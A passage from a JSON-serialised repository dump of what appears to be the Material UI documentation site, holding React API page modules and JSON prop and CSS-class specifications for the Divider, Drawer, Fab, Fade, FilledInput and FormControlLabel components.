    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './divider.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/divider', false, /\\.\\/divider.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/divider.json",
    "content": "{\n  \"props\": {\n    \"absolute\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"flexItem\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"orientation\": {\n      \"type\": { \"name\": \"enum\", \"description\": \"'horizontal'<br>&#124;&nbsp;'vertical'\" },\n      \"default\": \"'horizontal'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"textAlign\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'center'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'\"\n      },\n      \"default\": \"'center'\"\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'fullWidth'<br>&#124;&nbsp;'inset'<br>&#124;&nbsp;'middle'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'fullWidth'\"\n    }\n  },\n  \"name\": \"Divider\",\n  \"imports\": [\n    \"import Divider from '@mui/material/Divider';\",\n    \"import { Divider } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"absolute\",\n      \"className\": \"MuiDivider-absolute\",\n      \"description\": \"Styles applied to the root element if `absolute={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"flexItem\",\n      \"className\": \"MuiDivider-flexItem\",\n      \"description\": \"Styles applied to the root element if `flexItem={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"fullWidth\",\n      \"className\": \"MuiDivider-fullWidth\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"fullWidth\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"inset\",\n      \"className\": \"MuiDivider-inset\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"inset\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"middle\",\n      \"className\": \"MuiDivider-middle\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"middle\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiDivider-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"textAlignLeft\",\n      \"className\": \"MuiDivider-textAlignLeft\",\n      \"description\": \"Styles applied to the root element if `textAlign=\\\"left\\\" orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"textAlignRight\",\n      \"className\": \"MuiDivider-textAlignRight\",\n      \"description\": \"Styles applied to the root element if `textAlign=\\\"right\\\" orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"vertical\",\n      \"className\": \"MuiDivider-vertical\",\n      \"description\": \"Styles applied to the root element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"withChildren\",\n      \"className\": \"MuiDivider-withChildren\",\n      \"description\": \"Styles applied to the root element if divider have text.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"wrapper\",\n      \"className\": \"MuiDivider-wrapper\",\n      \"description\": \"Styles applied to the span children element if `orientation=\\\"horizontal\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"wrapperVertical\",\n      \"className\": \"MuiDivider-wrapperVertical\",\n      \"description\": \"Styles applied to the span children element if `orientation=\\\"vertical\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDivider\",\n  \"forwardsRefTo\": \"HTMLHRElement\",\n  \"filename\": \"/packages/mui-material/src/Divider/Divider.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-divider/\\\">Divider</a></li>\\n<li><a href=\\\"/material-ui/react-list/\\\">Lists</a></li>\\n<li><a href=\\\"/material-ui/react-menubar/\\\">Menubar</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/drawer.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './drawer.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/drawer', false, /\\.\\/drawer.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/drawer.json",
    "content": "{\n  \"props\": {\n    \"anchor\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'bottom'<br>&#124;&nbsp;'left'<br>&#124;&nbsp;'right'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'left'\"\n    },\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"elevation\": { \"type\": { \"name\": \"custom\", \"description\": \"integer\" }, \"default\": \"16\" },\n    \"hideBackdrop\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"ModalProps\": { \"type\": { \"name\": \"object\" }, \"default\": \"{}\" },\n    \"onClose\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: object, reason: string) => void\",\n        \"describedArgs\": [\"event\", \"reason\"]\n      }\n    },\n    \"open\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"slotProps\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: func<br>&#124;&nbsp;object, docked?: func<br>&#124;&nbsp;object, paper?: func<br>&#124;&nbsp;object, root?: func<br>&#124;&nbsp;object, transition?: func<br>&#124;&nbsp;object }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": {\n        \"name\": \"shape\",\n        \"description\": \"{ backdrop?: elementType, docked?: elementType, paper?: elementType, root?: elementType, transition?: elementType }\"\n      },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"transitionDuration\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'permanent'<br>&#124;&nbsp;'persistent'<br>&#124;&nbsp;'temporary'\"\n      },\n      \"default\": \"'temporary'\"\n    }\n  },\n  \"name\": \"Drawer\",\n  \"imports\": [\n    \"import Drawer from '@mui/material/Drawer';\",\n    \"import { Drawer } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"root\",\n      \"description\": \"The component used for the root when the variant is `temporary`.\",\n      \"default\": \"Modal\",\n      \"class\": \"MuiDrawer-root\"\n    },\n    {\n      \"name\": \"backdrop\",\n      \"description\": \"The component used for the Modal backdrop.\",\n      \"default\": \"Backdrop\",\n      \"class\": null\n    },\n    {\n      \"name\": \"docked\",\n      \"description\": \"The component used for the root element when the variant is `permanent` or `persistent`.\",\n      \"default\": \"div\",\n      \"class\": \"MuiDrawer-docked\"\n    },\n    {\n      \"name\": \"paper\",\n      \"description\": \"The component used for the paper.\",\n      \"default\": \"Paper\",\n      \"class\": \"MuiDrawer-paper\"\n    },\n    {\n      \"name\": \"transition\",\n      \"description\": \"The component used for the transition.\\n[Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\",\n      \"default\": \"Slide\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"anchorBottom\",\n      \"className\": \"MuiDrawer-anchorBottom\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"bottom\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorLeft\",\n      \"className\": \"MuiDrawer-anchorLeft\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"left\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorRight\",\n      \"className\": \"MuiDrawer-anchorRight\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"right\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"anchorTop\",\n      \"className\": \"MuiDrawer-anchorTop\",\n      \"description\": \"Styles applied to the root element if `anchor=\\\"top\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"modal\",\n      \"className\": \"MuiDrawer-modal\",\n      \"description\": \"Styles applied to the Modal component.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiDrawer\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Drawer/Drawer.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-drawer/\\\">Drawer</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/fab.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './fab.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/fab', false, /\\.\\/fab.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/fab.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'default'<br>&#124;&nbsp;'error'<br>&#124;&nbsp;'info'<br>&#124;&nbsp;'inherit'<br>&#124;&nbsp;'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;'success'<br>&#124;&nbsp;'warning'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'default'\"\n    },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableFocusRipple\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"disableRipple\": { \"type\": { \"name\": \"bool\" } },\n    \"href\": { \"type\": { \"name\": \"string\" } },\n    \"size\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'small'<br>&#124;&nbsp;'medium'<br>&#124;&nbsp;'large'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'large'\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"variant\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'circular'<br>&#124;&nbsp;'extended'<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"'circular'\"\n    }\n  },\n  \"name\": \"Fab\",\n  \"imports\": [\"import Fab from '@mui/material/Fab';\", \"import { Fab } from '@mui/material';\"],\n  \"classes\": [\n    {\n      \"key\": \"circular\",\n      \"className\": \"MuiFab-circular\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"circular\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorInherit\",\n      \"className\": \"MuiFab-colorInherit\",\n      \"description\": \"Styles applied to the root element if `color=\\\"inherit\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"extended\",\n      \"className\": \"MuiFab-extended\",\n      \"description\": \"Styles applied to the root element if `variant=\\\"extended\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"focusVisible\",\n      \"className\": \"Mui-focusVisible\",\n      \"description\": \"State class applied to the ButtonBase root element if the button is keyboard focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"primary\",\n      \"className\": \"MuiFab-primary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"primary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFab-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"secondary\",\n      \"className\": \"MuiFab-secondary\",\n      \"description\": \"Styles applied to the root element if `color=\\\"secondary\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeMedium\",\n      \"className\": \"MuiFab-sizeMedium\",\n      \"description\": \"Styles applied to the root element if `size=\\\"medium\\\"``.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiFab-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"``.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFab\",\n  \"forwardsRefTo\": \"HTMLButtonElement\",\n  \"filename\": \"/packages/mui-material/src/Fab/Fab.js\",\n  \"inheritance\": { \"component\": \"ButtonBase\", \"pathname\": \"/material-ui/api/button-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-floating-action-button/\\\">Floating Action Button</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/fade.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './fade.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/fade', false, /\\.\\/fade.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/fade.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"custom\", \"description\": \"element\" }, \"required\": true },\n    \"addEndListener\": { \"type\": { \"name\": \"func\" } },\n    \"appear\": { \"type\": { \"name\": \"bool\" }, \"default\": \"true\" },\n    \"easing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"{ enter?: string, exit?: string }<br>&#124;&nbsp;string\"\n      }\n    },\n    \"in\": { \"type\": { \"name\": \"bool\" } },\n    \"timeout\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"number<br>&#124;&nbsp;{ appear?: number, enter?: number, exit?: number }\"\n      },\n      \"default\": \"{\\n  enter: theme.transitions.duration.enteringScreen,\\n  exit: theme.transitions.duration.leavingScreen,\\n}\"\n    }\n  },\n  \"name\": \"Fade\",\n  \"imports\": [\"import Fade from '@mui/material/Fade';\", \"import { Fade } from '@mui/material';\"],\n  \"classes\": [],\n  \"spread\": true,\n  \"themeDefaultProps\": false,\n  \"muiName\": \"MuiFade\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/Fade/Fade.js\",\n  \"inheritance\": {\n    \"component\": \"Transition\",\n    \"pathname\": \"https://reactcommunity.org/react-transition-group/transition/#Transition-props\"\n  },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/transitions/\\\">Transitions</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/filled-input.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './filled-input.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/filled-input',\n    false,\n    /\\.\\/filled-input.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/filled-input.json",
    "content": "{\n  \"props\": {\n    \"autoComplete\": { \"type\": { \"name\": \"string\" } },\n    \"autoFocus\": { \"type\": { \"name\": \"bool\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"color\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'primary'<br>&#124;&nbsp;'secondary'<br>&#124;&nbsp;string\"\n      }\n    },\n    \"defaultValue\": { \"type\": { \"name\": \"any\" } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"disableUnderline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"endAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"error\": { \"type\": { \"name\": \"bool\" } },\n    \"fullWidth\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"hiddenLabel\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"id\": { \"type\": { \"name\": \"string\" } },\n    \"inputComponent\": { \"type\": { \"name\": \"elementType\" }, \"default\": \"'input'\" },\n    \"inputProps\": { \"type\": { \"name\": \"object\" }, \"default\": \"{}\" },\n    \"inputRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"margin\": { \"type\": { \"name\": \"enum\", \"description\": \"'dense'<br>&#124;&nbsp;'none'\" } },\n    \"maxRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"minRows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"multiline\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" },\n    \"name\": { \"type\": { \"name\": \"string\" } },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.ChangeEvent<HTMLTextAreaElement | HTMLInputElement>) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"placeholder\": { \"type\": { \"name\": \"string\" } },\n    \"readOnly\": { \"type\": { \"name\": \"bool\" } },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"rows\": { \"type\": { \"name\": \"union\", \"description\": \"number<br>&#124;&nbsp;string\" } },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: object, root?: object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ input?: elementType, root?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"startAdornment\": { \"type\": { \"name\": \"node\" } },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"type\": { \"type\": { \"name\": \"string\" }, \"default\": \"'text'\" },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"FilledInput\",\n  \"imports\": [\n    \"import FilledInput from '@mui/material/FilledInput';\",\n    \"import { FilledInput } from '@mui/material';\"\n  ],\n  \"classes\": [\n    {\n      \"key\": \"adornedEnd\",\n      \"className\": \"MuiFilledInput-adornedEnd\",\n      \"description\": \"Styles applied to the root element if `endAdornment` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"adornedStart\",\n      \"className\": \"MuiFilledInput-adornedStart\",\n      \"description\": \"Styles applied to the root element if `startAdornment` is provided.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"colorSecondary\",\n      \"className\": \"MuiFilledInput-colorSecondary\",\n      \"description\": \"Styles applied to the root element if color secondary.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"focused\",\n      \"className\": \"Mui-focused\",\n      \"description\": \"State class applied to the root element if the component is focused.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"hiddenLabel\",\n      \"className\": \"MuiFilledInput-hiddenLabel\",\n      \"description\": \"Styles applied to the root element if `hiddenLabel={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"input\",\n      \"className\": \"MuiFilledInput-input\",\n      \"description\": \"Styles applied to the input element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"multiline\",\n      \"className\": \"MuiFilledInput-multiline\",\n      \"description\": \"Styles applied to the root element if `multiline={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFilledInput-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"sizeSmall\",\n      \"className\": \"MuiFilledInput-sizeSmall\",\n      \"description\": \"Styles applied to the root element if `size=\\\"small\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"underline\",\n      \"className\": \"MuiFilledInput-underline\",\n      \"description\": \"Styles applied to the root element unless `disableUnderline={true}`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFilledInput\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-material/src/FilledInput/FilledInput.js\",\n  \"inheritance\": { \"component\": \"InputBase\", \"pathname\": \"/material-ui/api/input-base/\" },\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-text-field/\\\">Text Field</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-control-label.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './form-control-label.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/form-control-label',\n    false,\n    /\\.\\/form-control-label.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-control-label.json",
    "content": "{\n  \"props\": {\n    \"control\": { \"type\": { \"name\": \"element\" }, \"required\": true },\n    \"checked\": { \"type\": { \"name\": \"bool\" } },\n    \"classes\": { \"type\": { \"name\": \"object\" }, \"additionalInfo\": { \"cssApi\": true } },\n    \"disabled\": { \"type\": { \"name\": \"bool\" } },\n    \"disableTypography\": { \"type\": { \"name\": \"bool\" } },\n    \"inputRef\": { \"type\": { \"name\": \"custom\", \"description\": \"ref\" } },\n    \"label\": { \"type\": { \"name\": \"node\" } },\n    \"labelPlacement\": {\n      \"type\": {\n        \"name\": \"enum\",\n        \"description\": \"'bottom'<br>&#124;&nbsp;'end'<br>&#124;&nbsp;'start'<br>&#124;&nbsp;'top'\"\n      },\n      \"default\": \"'end'\"\n    },\n    \"onChange\": {\n      \"type\": { \"name\": \"func\" },\n      \"signature\": {\n        \"type\": \"function(event: React.SyntheticEvent) => void\",\n        \"describedArgs\": [\"event\"]\n      }\n    },\n    \"required\": { \"type\": { \"name\": \"bool\" } },\n    \"slotProps\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ typography?: func<br>&#124;&nbsp;object }\" },\n      \"default\": \"{}\"\n    },\n    \"slots\": {\n      \"type\": { \"name\": \"shape\", \"description\": \"{ typography?: elementType }\" },\n      \"default\": \"{}\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"value\": { \"type\": { \"name\": \"any\" } }\n  },\n  \"name\": \"FormControlLabel\",\n  \"imports\": [\n    \"import FormControlLabel from '@mui/material/FormControlLabel';\",\n    \"import { FormControlLabel } from '@mui/material';\"\n  ],\n  \"slots\": [\n    {\n      \"name\": \"typography\",\n      \"description\": \"The component that renders the label.\\nThis is unused if `disableTypography` is true.\",\n      \"default\": \"Typography\",\n      \"class\": null\n    }\n  ],\n  \"classes\": [\n    {\n      \"key\": \"asterisk\",\n      \"className\": \"MuiFormControlLabel-asterisk\",\n      \"description\": \"Styles applied to the asterisk element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"disabled\",\n      \"className\": \"Mui-disabled\",\n      \"description\": \"State class applied to the root element if `disabled={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"error\",\n      \"className\": \"Mui-error\",\n      \"description\": \"State class applied to the root element if `error={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"label\",\n      \"className\": \"MuiFormControlLabel-label\",\n      \"description\": \"Styles applied to the label's Typography component.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"labelPlacementBottom\",\n      \"className\": \"MuiFormControlLabel-labelPlacementBottom\",\n      \"description\": \"Styles applied to the root element if `labelPlacement=\\\"bottom\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"labelPlacementStart\",\n      \"className\": \"MuiFormControlLabel-labelPlacementStart\",\n      \"description\": \"Styles applied to the root element if `labelPlacement=\\\"start\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"labelPlacementTop\",\n      \"className\": \"MuiFormControlLabel-labelPlacementTop\",\n      \"description\": \"Styles applied to the root element if `labelPlacement=\\\"top\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"required\",\n      \"className\": \"Mui-required\",\n      \"description\": \"State class applied to the root element if `required={true}`.\",\n      \"isGlobal\": true\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiFormControlLabel-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiFormControlLabel\",\n  \"forwardsRefTo\": \"HTMLLabelElement\",\n  \"filename\": \"/packages/mui-material/src/FormControlLabel/FormControlLabel.js\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-checkbox/\\\">Checkbox</a></li>\\n<li><a href=\\\"/material-ui/react-radio-button/\\\">Radio Group</a></li>\\n<li><a href=\\\"/material-ui/react-switch/\\\">Switch</a></li></ul>\",\n  \"cssComponent\": false\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-control.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './form-control.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context(\n    'docs/translations/api-docs/form-control',\n    false,\n    /\\.\\/form-control.*\\.json$/,\n  );\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/material-ui/api/form-control.json",
